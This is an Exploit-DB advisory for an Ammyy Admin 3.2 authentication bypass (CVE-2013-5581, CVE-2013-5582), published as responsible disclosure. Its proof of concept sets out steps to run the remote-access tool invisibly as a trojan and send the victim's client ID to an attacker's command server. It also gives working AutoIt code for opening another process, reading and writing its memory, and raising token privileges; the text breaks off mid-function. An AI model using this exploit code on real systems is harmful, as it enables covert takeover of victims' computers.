Exploit-DB #31182
Description: Ammyy Admin 3.2 - Authentication Bypass
Type: local
Platform: windows
Date: 2014-01-24
Author: Bhadresh Patel

Exploit:
Title:
====
Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.

Credit:
======
Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com

CVE:
====
- CVE-2013-5581 for hidden hard-coded option (CWE-255).
- CVE-2013-5582 for failure to enforce access restrictions for resources (CWE-264).

Date:
====
17-01-2014


CL-ID: 
====
CRD-2013-04 

Vendor:
======
Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and automation management of remote computer access services for many years. The result of their efforts is new Remote Access system "Ammyy Admin".

Product:
=======
Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control a server over the Internet with Ammyy Admin. 
No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.
Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.
Product link: http://www.ammyy.com/en/downloads.html 

Abstract:
======= 
Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.


Report-Timeline (DD-MM-YYYY):
====================
12-08-2013: Vendor notification
13-08-2013: Vendor Response/Feedback
13-12-2013: Vendor Fix/Patch
17-01-2014: Public or Non-Public Disclosure 

Affected Version:
=============
Version (<=3.2)

Exploitation-Technique:
===================
Local

Severity Rating:
===================
CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)

Details:
=======
There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize "Ammyy Admin tool" as a trojan horse to access computer without victim's information.
An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited by an attacker to use "Ammyy Admin" as a trojan horse.

Proof Of Concept:
================
An attacker could exploit above vulnerabilities using following steps,

1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.
2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.
2) Acquire the client id by reading memory location "004A3658".
3) Send client id to attackers C&C server.

-------- Logs -------

###### Hidden hard-coded option (CVE-2013-5581) ######

root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"
-f=*
- 5H
-connect
-set_proxy_
-dosas_
-elevated
-log
-lunch
-nogui
-service
-debug
-remove
-install
-outid
-setsettings
-rstid
-showversion
-notstartclient
-startclient
-minimize
-+/3


#### client ID at Fixed memory location (CVE-2013-5582) ####

=======PoC screenshot=======

http://oi42.tinypic.com/34owtoy.jpg


=======PoC autoit code to hijack client ID=======

Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)
  If NOT ProcessExists($iv_pid) Then
    SetError(1)
    Return 0
  EndIf
  Local $ah_handle[2] = [DllOpen("kernel32.dll")]
  If @error Then
    SetError(2)
    Return 0
  EndIf
  Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", $iv_inherithandle, "int", $iv_pid)
  If @error Then
    DllClose($ah_handle[0])
    SetError(3)
    Return 0
  EndIf
  $ah_handle[1] = $av_openprocess[0]
  Return $ah_handle
EndFunc

Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")
  If NOT IsArray($ah_handle) Then
    SetError(1)
    Return 0
  EndIf
  Local $v_buffer = DllStructCreate($sv_type)
  If @error Then
    SetError(@error + 1)
    Return 0
  EndIf
  DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
  If NOT @error Then
    Local $v_value = DllStructGetData($v_buffer, 1)
    Return $v_value
  Else
    SetError(6)
    Return 0
  EndIf
EndFunc

Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")
  If NOT IsArray($ah_handle) Then
    SetError(1)
    Return 0
  EndIf
  Local $v_buffer = DllStructCreate($sv_type)
  If @error Then
    SetError(@error + 1)
    Return 0
  Else
    DllStructSetData($v_buffer, 1, $v_data)
    If @error Then
      SetError(6)
      Return 0
    EndIf
  EndIf
  DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
  If NOT @error Then
    Return 1
  Else
    SetError(7)
    Return 0
  EndIf
EndFunc

Func _memoryclose($ah_handle)
  If NOT IsArray($ah_handle) Then
    SetError(1)
    Return 0
  EndIf
  DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])
  If NOT @error Then
    DllClose($ah_handle[0])
    Return 1
  Else
    DllClose($ah_handle[0])
    SetError(2)
    Return 0
  EndIf
EndFunc

Func setprivilege($privilege, $benable)
  Const $token_adjust_privileges = 32
  Const $token_query = 8
  Const $se_privilege_enabled = 2
  Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv
  $ntokens = 1
  $luid = DllStructCreate("dword;int")
  If IsArray($privilege) Then $ntokens = UBound($privilege)
  $token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
  $newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
  $hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")
  $sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", BitOR($token_adjust_privileges, $token_query), "int*", 0)
  If $sp_auxret[0] Then
    $htoken = $sp_auxret[3]
    DllStructSetData($token_privileges, 1, 1)
    $n